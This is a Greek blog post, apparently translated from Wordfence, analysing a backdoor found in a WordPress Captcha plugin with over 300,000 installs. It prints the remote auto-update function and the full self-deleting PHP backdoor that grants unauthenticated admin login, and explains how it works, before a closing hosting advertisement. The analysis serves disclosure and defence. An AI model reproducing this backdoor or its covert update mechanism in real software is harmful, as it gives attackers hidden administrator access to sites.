Captcha Busted by WordPress

Captcha Busted by WordPress

 

Το συγκεκριμένο άρθρο για το wordpress captcha, αρχικά δημοσιεύτηκε στο blog του Wordfence, στη συνέχεια μεταφράστηκε και αναπαράγεται εδώ:

 

Η WordPress πρόσφατα αφαίρεσε το plugin wordpress Captcha, καθώς αρχικά είχε προκύψει ένα πρόβλημα με το εμπορικό σήμα του plugin, στο όνομά του.
Έπειτα από την αφαίρεσή του από τα διαθέσιμα plugins, έγινε περαιτέρω έλεγχος στον κώδικα του plugin, ώστε να διαπιστωθεί εάν υπήρξε κάποιο πρόβλημα ασφαλείας.

Το Wordfence firewall (plugin ασφαλείας του WordPress), ειδοποιεί τους χρήστες που λαμβάνουν τις ενημερώσεις τους όταν κάποιο plugin αφαιρεθεί από το repository του WordPress.

Την ημέρα της απομάκρυνσης του plugin από το repo της WordPress, υπήρχαν περισσότερες από 300.000 εγκαταστάσεις, συνεπώς, η απομάκρυνσή του θα είχε αντίκτυπο σε όσους χρησιμοποιούσαν το wordpress captcha.

 

Ο developer του plugin δημοσίευσε τον λόγο απομάκρυνσης του plugin από το repository του WordPress, ωστόσο, η ίδια η WordPress προχώρησε σε περαιτέρω ανάλυση ώστε να διαπιστωθεί εάν υπήρξε οποιοδήποτε παράπτωμα από την πλευρά του προγραμματιστή και του κώδικα του plugin.

Διαπιστώθηκε ο ακόλουθος κώδικας:

 

function cptch_wp_plugin_auto_update()
{
require_once (‘cptch_wp_auto_update.php’);
global $cptch_plugin_info;

$wptuts_plugin_current_version = $cptch_plugin_info[‘Version’];
$wptuts_plugin_remote_path = ‘https://simplywordpress.net/captcha/captcha_pro_update.php’;

$wptuts_plugin_slug = plugin_basename(__FILE__);

new cptch_wp_auto_update($wptuts_plugin_current_version, $wptuts_plugin_remote_path, $wptuts_plugin_slug);
}

 

Ο ανωτέρω κώδικας “κατεβάζει” ένα zip αρχείο από τον σύνδεσμο που φαίνεται παραπάνω, κάνει extract και εγκαθιστά αρχεία μέσα στο plugin που λειτουργεί στην ιστοσελίδα.

Μέσα στο zip αρχείο, ενώ τα αρχεία είναι σχεδόν πανομοιότυπα, παρατηρήθηκε μικρή αλλαγή στον κώδικα σε σχέση με αυτόν που δημοσιεύτηκε στο repository της WordPress.

 

Το αρχείο με όνομα plugin-update.php, περιέχει μια κερκόπορτα (back-door):

 

@unlink(__FILE__);

require(‘../../../wp-blog-header.php’);
require(‘../../../wp-includes/pluggable.php’);
$user_info = get_userdata(1);
// Automatic login //
$username = $user_info->user_login;
$user = get_user_by(‘login’, $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
wp_clear_auth_cookie();
wp_set_current_user ( $user->ID );
wp_set_auth_cookie ( $user->ID );

$redirect_to = user_admin_url();
wp_safe_redirect( $redirect_to );

exit();
}

 

Μια κερκόπορτα επιτρέπει στον επιτιθέμενο, στην προκειμένη περίπτωση τον δημιουργό του plugin, να αποκτήσει πρόσβαση διαχειριστή στο admin panel της ιστοσελίδας.

Ο τρόπος με τον οποίο λειτουργεί είναι να δημιουργεί έναν χρήστη με ID 1 (δηλαδή τον default admin χρήστη που δημιουργείται κατά την εγκατάσταση του WordPress), καταχωρεί τα απαραίτητα cookies και στη συνέχεια αυτο-διαγράφεται.

Η συγκεκριμένη κερκόπορτα, δεν απαιτεί authentication, συνεπώς, οποιοσδήποτε μπορεί να την κάνει trigger.

 

Ο κώδικας που μεταφέρεται (κακόβουλα) από τον σύνδεσμο:

https://simplywordpress.net/captcha/captcha_pro_update.php, είναι πανομοιότυπος με αυτόν που υπάρχει στο repository του WordPress, οπότε με την αναβάθμιση του plugin και τον τρόπο λειτουργίας του, όλες οι αναφορές και τα logs της συγκεκριμένης κερκόπορτας είναι εντελώς μη ανιχνεύσιμα και στο σύστημα φαίνεται ότι ποτέ δεν έτρεξε, βοηθώντας τον επιτιθέμενο να μην εντοπιστεί.

Τέλος, αναφέρουμε ότι η συγκεκριμένη προσθήκη στον κώδικα πραγματοποιήθηκε με την αναβάθμιση του plugin στις 4 Δεκεμβρίου 2017, 1:52 μ.μ. UTC.

 

Επιλέξτε το κατάλληλο wordpress hosting για την σελίδα σας και εμεταλλευτείτε τις δυνατότητες του στο έπακρο.

Για ακόμη περισσότερες δυνατότητες μπορείτε να επιλέξετε ανάμεσα σε virtual machine ή dedicated server, κατάλληλα για το site σας.

 

Please wait loading